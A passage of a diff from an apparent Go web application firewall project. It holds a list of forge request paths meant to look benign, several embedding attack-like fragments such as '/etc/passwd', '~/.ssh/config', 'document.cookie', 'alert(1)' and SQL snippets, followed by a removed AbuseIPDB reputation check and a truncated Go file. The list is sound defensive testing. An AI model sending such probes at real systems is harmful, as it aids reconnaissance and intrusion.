/owner/repo/search?q=%2Fetc%2Fpasswd
|
||||
/owner/repo/search?q=eval%28
|
||||
/owner/repo/search?q=chmod%20%2Bx
|
||||
/owner/repo/search?q=echo%20%24PATH
|
||||
/owner/repo/search?q=java.lang.Runtime
|
||||
/owner/repo/search?q=document.cookie
|
||||
/owner/repo/search?q=alert%281%29
|
||||
/owner/repo/search?q=__proto__
|
||||
/owner/repo/search?q=C%3A%5CWindows%5CSystem32
|
||||
/owner/repo/search?q=Invoke-WebRequest
|
||||
/owner/repo/search?q=if%20%28a%20%3D%3D%20b%29%20%7B
|
||||
/owner/repo/search?q=sudo%20apt%20install
|
||||
/owner/repo/search?q=~%2F.ssh%2Fconfig
|
||||
/owner/repo/search?q=.htaccess
|
||||
/owner/repo/search?q=%24_GET%5B
|
||||
/owner/repo/search?q=%24_POST
|
||||
/owner/repo/search?q=%24_SERVER%5B%27REQUEST_URI%27%5D
|
||||
/owner/repo/search?q=%3C%3Fphp%20echo
|
||||
/owner/repo/search?q=information_schema
|
||||
/owner/repo/search?q=LIKE%20%27%25foo%25%27
|
||||
/owner/repo/search?q=onClick%3D%7B
|
||||
/explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/explore/code?q=%3Cimg%20src%3D
|
||||
/owner/-/code?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/-/code?q=%3Cimg%20src%3D
|
||||
/owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D
|
||||
/owner/repo/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/repo/issues/search?q=%3Cimg%20src%3D
|
||||
/owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/repo/pulls?q=%3Cimg%20src%3D
|
||||
/issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/issues?type=your_repositories&q=%3Cimg%20src%3D
|
||||
/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/issues/search?q=%3Cimg%20src%3D
|
||||
/pulls?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/pulls?type=your_repositories&q=%3Cimg%20src%3D
|
||||
/owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D
|
||||
/api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/api/v1/repos/issues/search?q=%3Cimg%20src%3D
|
||||
/api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D
|
||||
|
||||
# Searches for the names of repositories, users, branches, tags and packages.
|
||||
/explore/repos?q=python3-app
|
||||
/explore/repos?q=.profile
|
||||
/explore/repos?q=powershell-scripts
|
||||
/api/v1/repos/search?q=docker-build
|
||||
/user/search_candidates?q=docker-ci
|
||||
/owner/repo/branches?q=feat%2Fdocker-support
|
||||
/owner/repo/tags?q=docker-v1.0
|
||||
/owner/-/packages?q=python3-requests
|
||||
/owner/-/packages?q=org.apache.commons.logging
|
||||
/repo/search?q=python3-app
|
||||
/repo/search?q=docker-build
|
||||
/repo/search?q=powershell-scripts
|
||||
/repo/search?q=.profile
|
||||
/owner?tab=repositories&q=python3-app
|
||||
/org?q=python3-app
|
||||
/owner/repo/issues/posters?q=docker-ci
|
||||
/owner/repo/pulls/posters?q=docker-ci
|
||||
/explore/users?q=docker-ci
|
||||
/explore/organizations?q=docker-ci
|
||||
/api/v1/users/search?q=docker-ci
|
||||
|
||||
# Pages, raw files and edit pages of files, and the API's call for their
|
||||
# contents.
|
||||
/owner/repo/src/branch/main/package.json
|
||||
/owner/repo/raw/branch/main/package.json
|
||||
/owner/repo/_edit/main/package.json
|
||||
/api/v1/repos/owner/repo/contents/package.json
|
||||
/owner/repo/src/branch/main/.gitignore
|
||||
/owner/repo/raw/branch/main/.gitignore
|
||||
/owner/repo/_edit/main/.gitignore
|
||||
/api/v1/repos/owner/repo/contents/.gitignore
|
||||
/owner/repo/src/branch/main/docker-compose.yml
|
||||
/owner/repo/raw/branch/main/docker-compose.yml
|
||||
/owner/repo/_edit/main/docker-compose.yml
|
||||
/api/v1/repos/owner/repo/contents/docker-compose.yml
|
||||
/owner/repo/src/branch/main/Dockerfile
|
||||
/owner/repo/raw/branch/main/Dockerfile
|
||||
/owner/repo/_edit/main/Dockerfile
|
||||
/api/v1/repos/owner/repo/contents/Dockerfile
|
||||
/owner/repo/src/branch/main/.htaccess
|
||||
/owner/repo/raw/branch/main/.htaccess
|
||||
/owner/repo/_edit/main/.htaccess
|
||||
/api/v1/repos/owner/repo/contents/.htaccess
|
||||
/owner/repo/src/branch/main/rootfs/etc/passwd
|
||||
/owner/repo/raw/branch/main/rootfs/etc/passwd
|
||||
/owner/repo/_edit/main/rootfs/etc/passwd
|
||||
/api/v1/repos/owner/repo/contents/rootfs/etc/passwd
|
||||
/owner/repo/src/branch/main/bin/docker-entrypoint
|
||||
/owner/repo/raw/branch/main/bin/docker-entrypoint
|
||||
/owner/repo/_edit/main/bin/docker-entrypoint
|
||||
/api/v1/repos/owner/repo/contents/bin/docker-entrypoint
|
||||
/owner/repo/src/branch/main/scripts/python3-setup.sh
|
||||
/owner/repo/raw/branch/main/scripts/python3-setup.sh
|
||||
/owner/repo/_edit/main/scripts/python3-setup.sh
|
||||
/api/v1/repos/owner/repo/contents/scripts/python3-setup.sh
|
||||
/owner/repo/src/branch/main/src/java.base/share/classes/java/lang/Runtime.java
|
||||
/owner/repo/raw/branch/main/src/java.base/share/classes/java/lang/Runtime.java
|
||||
/owner/repo/_edit/main/src/java.base/share/classes/java/lang/Runtime.java
|
||||
/api/v1/repos/owner/repo/contents/src/java.base/share/classes/java/lang/Runtime.java
|
||||
/owner/repo/src/branch/main/java.lang.String.md
|
||||
/owner/repo/raw/branch/main/java.lang.String.md
|
||||
/owner/repo/_edit/main/java.lang.String.md
|
||||
/api/v1/repos/owner/repo/contents/java.lang.String.md
|
||||
/owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
|
||||
/owner/repo/raw/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
|
||||
/owner/repo/_edit/main/META-INF/services/org.apache.commons.logging.LogFactory
|
||||
/api/v1/repos/owner/repo/contents/META-INF/services/org.apache.commons.logging.LogFactory
|
||||
/owner/repo/src/branch/main/process.env.d.ts
|
||||
/owner/repo/raw/branch/main/process.env.d.ts
|
||||
/owner/repo/_edit/main/process.env.d.ts
|
||||
/api/v1/repos/owner/repo/contents/process.env.d.ts
|
||||
/owner/repo/src/branch/main/document.write.js
|
||||
/owner/repo/raw/branch/main/document.write.js
|
||||
/owner/repo/_edit/main/document.write.js
|
||||
/api/v1/repos/owner/repo/contents/document.write.js
|
||||
/owner/repo/src/branch/main/test/fixtures/__proto__.json
|
||||
/owner/repo/raw/branch/main/test/fixtures/__proto__.json
|
||||
/owner/repo/_edit/main/test/fixtures/__proto__.json
|
||||
/api/v1/repos/owner/repo/contents/test/fixtures/__proto__.json
|
||||
/owner/repo/src/branch/main/install-script.sh
|
||||
/owner/repo/raw/branch/main/install-script.sh
|
||||
/owner/repo/_edit/main/install-script.sh
|
||||
/api/v1/repos/owner/repo/contents/install-script.sh
|
||||
/owner/repo/src/branch/main/src/backend/catalog/information_schema.sql
|
||||
/owner/repo/raw/branch/main/src/backend/catalog/information_schema.sql
|
||||
/owner/repo/_edit/main/src/backend/catalog/information_schema.sql
|
||||
/api/v1/repos/owner/repo/contents/src/backend/catalog/information_schema.sql
|
||||
/owner/repo/src/branch/main/docs/a%20b.xhtml
|
||||
/owner/repo/raw/branch/main/docs/a%20b.xhtml
|
||||
/owner/repo/_edit/main/docs/a%20b.xhtml
|
||||
/api/v1/repos/owner/repo/contents/docs/a%20b.xhtml
|
||||
/owner/repo/src/branch/main/%5Bdraft%5D.md
|
||||
/owner/repo/raw/branch/main/%5Bdraft%5D.md
|
||||
/owner/repo/_edit/main/%5Bdraft%5D.md
|
||||
/api/v1/repos/owner/repo/contents/%5Bdraft%5D.md
|
||||
/owner/repo/src/branch/main/notes.txt~
|
||||
/owner/repo/raw/branch/main/notes.txt~
|
||||
/owner/repo/_edit/main/notes.txt~
|
||||
/api/v1/repos/owner/repo/contents/notes.txt~
|
||||
|
||||
# The download, blame, history, delete and preview pages of the files above
|
||||
# whose names the Core Rule Set checks in the path, and their downloads as
|
||||
# release attachments.
|
||||
/owner/repo/media/branch/main/notes.txt~
|
||||
/owner/repo/blame/branch/main/notes.txt~
|
||||
/owner/repo/commits/branch/main/notes.txt~
|
||||
/owner/repo/_delete/main/notes.txt~
|
||||
/owner/repo/media/branch/main/process.env.d.ts
|
||||
/owner/repo/blame/branch/main/process.env.d.ts
|
||||
/owner/repo/commits/branch/main/process.env.d.ts
|
||||
/owner/repo/_delete/main/process.env.d.ts
|
||||
/owner/repo/media/branch/main/docs/a%20b.xhtml
|
||||
/owner/repo/blame/branch/main/docs/a%20b.xhtml
|
||||
/owner/repo/commits/branch/main/docs/a%20b.xhtml
|
||||
/owner/repo/_delete/main/docs/a%20b.xhtml
|
||||
/owner/repo/media/branch/main/java.lang.String.md
|
||||
/owner/repo/blame/branch/main/java.lang.String.md
|
||||
/owner/repo/commits/branch/main/java.lang.String.md
|
||||
/owner/repo/_delete/main/java.lang.String.md
|
||||
/owner/repo/_preview/main/notes.txt~
|
||||
/owner/repo/_preview/main/process.env.d.ts
|
||||
/owner/repo/_preview/main/java.lang.String.md
|
||||
/owner/repo/releases/download/v1.0/notes.txt~
|
||||
/owner/repo/releases/download/v1.0/process.env.d.ts
|
||||
/owner/repo/releases/download/v1.0/java.lang.String.md
|
||||
/owner/repo/releases/download/v1.0/a%20b.xhtml
|
||||
|
||||
# File names in the query string: the commit graph of a file, the API's lists
|
||||
# of its commits and of its contents, an issue opened from a template, the
|
||||
# sign-in page on the way to its edit page, and a diff's hidden lines.
|
||||
/owner/repo/graph?file=package.json
|
||||
/api/v1/repos/owner/repo/commits?path=package.json
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fpackage.json
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fpackage.json
|
||||
/owner/repo/graph?file=.gitignore
|
||||
/api/v1/repos/owner/repo/commits?path=.gitignore
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.gitignore%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.gitignore
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.gitignore
|
||||
/owner/repo/graph?file=docker-compose.yml
|
||||
/api/v1/repos/owner/repo/commits?path=docker-compose.yml
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docker-compose.yml%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocker-compose.yml
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocker-compose.yml
|
||||
/owner/repo/graph?file=.htaccess
|
||||
/api/v1/repos/owner/repo/commits?path=.htaccess
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.htaccess%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.htaccess
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.htaccess
|
||||
/owner/repo/graph?file=rootfs%2Fetc%2Fpasswd
|
||||
/api/v1/repos/owner/repo/commits?path=rootfs%2Fetc%2Fpasswd
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22rootfs%2Fetc%2Fpasswd%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Frootfs%2Fetc%2Fpasswd
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Frootfs%2Fetc%2Fpasswd
|
||||
/owner/repo/graph?file=bin%2Fdocker-entrypoint
|
||||
/api/v1/repos/owner/repo/commits?path=bin%2Fdocker-entrypoint
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22bin%2Fdocker-entrypoint%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fbin%2Fdocker-entrypoint
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fbin%2Fdocker-entrypoint
|
||||
/owner/repo/graph?file=scripts%2Fpython3-setup.sh
|
||||
/api/v1/repos/owner/repo/commits?path=scripts%2Fpython3-setup.sh
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22scripts%2Fpython3-setup.sh%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fscripts%2Fpython3-setup.sh
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fscripts%2Fpython3-setup.sh
|
||||
/owner/repo/graph?file=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
|
||||
/api/v1/repos/owner/repo/commits?path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
|
||||
/owner/repo/graph?file=java.lang.String.md
|
||||
/api/v1/repos/owner/repo/commits?path=java.lang.String.md
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22java.lang.String.md%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fjava.lang.String.md
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fjava.lang.String.md
|
||||
/owner/repo/graph?file=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
|
||||
/api/v1/repos/owner/repo/commits?path=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
|
||||
/owner/repo/graph?file=process.env.d.ts
|
||||
/api/v1/repos/owner/repo/commits?path=process.env.d.ts
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22process.env.d.ts%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fprocess.env.d.ts
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fprocess.env.d.ts
|
||||
/owner/repo/graph?file=document.write.js
|
||||
/api/v1/repos/owner/repo/commits?path=document.write.js
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22document.write.js%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocument.write.js
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocument.write.js
|
||||
/owner/repo/graph?file=test%2Ffixtures%2F__proto__.json
|
||||
/api/v1/repos/owner/repo/commits?path=test%2Ffixtures%2F__proto__.json
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22test%2Ffixtures%2F__proto__.json%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Ftest%2Ffixtures%2F__proto__.json
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Ftest%2Ffixtures%2F__proto__.json
|
||||
/owner/repo/graph?file=install-script.sh
|
||||
/api/v1/repos/owner/repo/commits?path=install-script.sh
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22install-script.sh%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Finstall-script.sh
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Finstall-script.sh
|
||||
/owner/repo/graph?file=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
|
||||
/api/v1/repos/owner/repo/commits?path=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fbackend%2Fcatalog%2Finformation_schema.sql%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
|
||||
/owner/repo/graph?file=docs%2Fa%20b.xhtml
|
||||
/api/v1/repos/owner/repo/commits?path=docs%2Fa%20b.xhtml
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docs%2Fa%20b.xhtml%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocs%2Fa%20b.xhtml
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocs%2Fa%20b.xhtml
|
||||
/owner/repo/graph?file=%5Bdraft%5D.md
|
||||
/api/v1/repos/owner/repo/commits?path=%5Bdraft%5D.md
|
||||
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D
|
||||
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md
|
||||
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=process.env.d.ts&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=java.lang.String.md&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=install-script.sh&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=information_schema.sql&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=document.write.js&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=__proto__.json&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java&style=unified&direction=down&wiki=false
|
||||
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=index.xhtml&style=unified&direction=down&wiki=false
|
||||
|
||||
# File names of attachments uploaded through the API, to a release, an issue and
|
||||
# a comment.
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=package.json
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=.gitignore
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=docker-compose.yml
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=.htaccess
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=docker-entrypoint
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=python3-setup.sh
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=Runtime.java
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=org.apache.commons.logging.LogFactory
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=%5Bdraft%5D.md
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=notes.txt~
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=install-script.sh
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=install-script.sh
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=install-script.sh
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=process.env.d.ts
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=process.env.d.ts
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=process.env.d.ts
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=java.lang.String.md
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=java.lang.String.md
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=java.lang.String.md
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=information_schema.sql
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=information_schema.sql
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=information_schema.sql
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=document.write.js
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=document.write.js
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=document.write.js
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=__proto__.json
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=__proto__.json
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=__proto__.json
|
||||
/api/v1/repos/owner/repo/releases/1/assets?name=index.xhtml
|
||||
/api/v1/repos/owner/repo/issues/1/assets?name=index.xhtml
|
||||
/api/v1/repos/owner/repo/issues/comments/1/assets?name=index.xhtml
|
||||
|
||||
# An artifact upload from actions/upload-artifact@v3, which sends Content-Range.
|
||||
/api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10
|
||||
|
||||
# Branch and tag names in the query string: deleting and restoring a branch,
|
||||
# starting a release from a tag, a branch protection rule, a directory listing's
|
||||
# last commits, and a container image push that reuses a layer.
|
||||
/owner/repo/branches/delete?name=docker-build&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=docker-build&page=1
|
||||
/owner/repo/releases/new?tag=docker-build
|
||||
/owner/repo/settings/branches/edit?rule_name=docker-build
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build
|
||||
/owner/repo/branches/delete?name=feat%2Fdocker-support&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=feat%2Fdocker-support&page=1
|
||||
/owner/repo/releases/new?tag=feat%2Fdocker-support
|
||||
/owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support
|
||||
/owner/repo/branches/delete?name=renovate%2Fdocker-build-push-action-6.x&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=renovate%2Fdocker-build-push-action-6.x&page=1
|
||||
/owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x
|
||||
/owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x
|
||||
/owner/repo/branches/delete?name=python3-migration&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=python3-migration&page=1
|
||||
/owner/repo/releases/new?tag=python3-migration
|
||||
/owner/repo/settings/branches/edit?rule_name=python3-migration
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration
|
||||
/owner/repo/branches/delete?name=ansible-roles&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=ansible-roles&page=1
|
||||
/owner/repo/releases/new?tag=ansible-roles
|
||||
/owner/repo/settings/branches/edit?rule_name=ansible-roles
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles
|
||||
/owner/repo/branches/delete?name=whoami&page=1
|
||||
/owner/repo/branches/restore?branch_id=1&name=whoami&page=1
|
||||
/owner/repo/releases/new?tag=whoami
|
||||
/owner/repo/settings/branches/edit?rule_name=whoami
|
||||
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami
|
||||
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fwhoami
|
||||
|
||||
# Pages a signed-in user opens.
|
||||
/
|
||||
/owner/repo
|
||||
/owner/repo/issues
|
||||
/owner/repo/pulls
|
||||
/owner/repo/releases
|
||||
/owner/repo/wiki
|
||||
/owner/repo/activity
|
||||
/owner/repo/branches
|
||||
/owner/repo/tags
|
||||
/owner/repo/settings
|
||||
/owner/repo/actions
|
||||
/owner/repo/compare/main...main
|
||||
/owner/repo/commits/branch/main
|
||||
/owner/repo/archive/main.zip
|
||||
/notifications
|
||||
/user/settings
|
||||
/user/settings/applications
|
||||
/explore/repos
|
||||
/-/admin
|
||||
@@ -1,58 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||
// the score, when its score of the client is a hit, and refuses the request
|
||||
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// checked in the background, by the request's address, if its history counts
|
||||
// an offence, and the request does not wait for the answer. The score is then
|
||||
// used for each address of the client. Its figures are the score and
|
||||
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||
type abuseIPDB struct{}
|
||||
|
||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||
|
||||
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
if rq.h.config.AbuseIPDBKey == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
client := rq.h.clientGroup(rq.client)
|
||||
held, _ := rq.h.limiter.Client(client)
|
||||
offender := held.History.Offences != ratelimit.Offences{}
|
||||
|
||||
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
|
||||
if !hit {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.abuseIPDBHit = true
|
||||
rq.addTag(config.AbuseIPDBTag)
|
||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
||||
|
||||
if rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{
|
||||
figureScore: score, "min_score": rq.h.config.AbuseIPDBMinScore,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,306 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/subtle"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
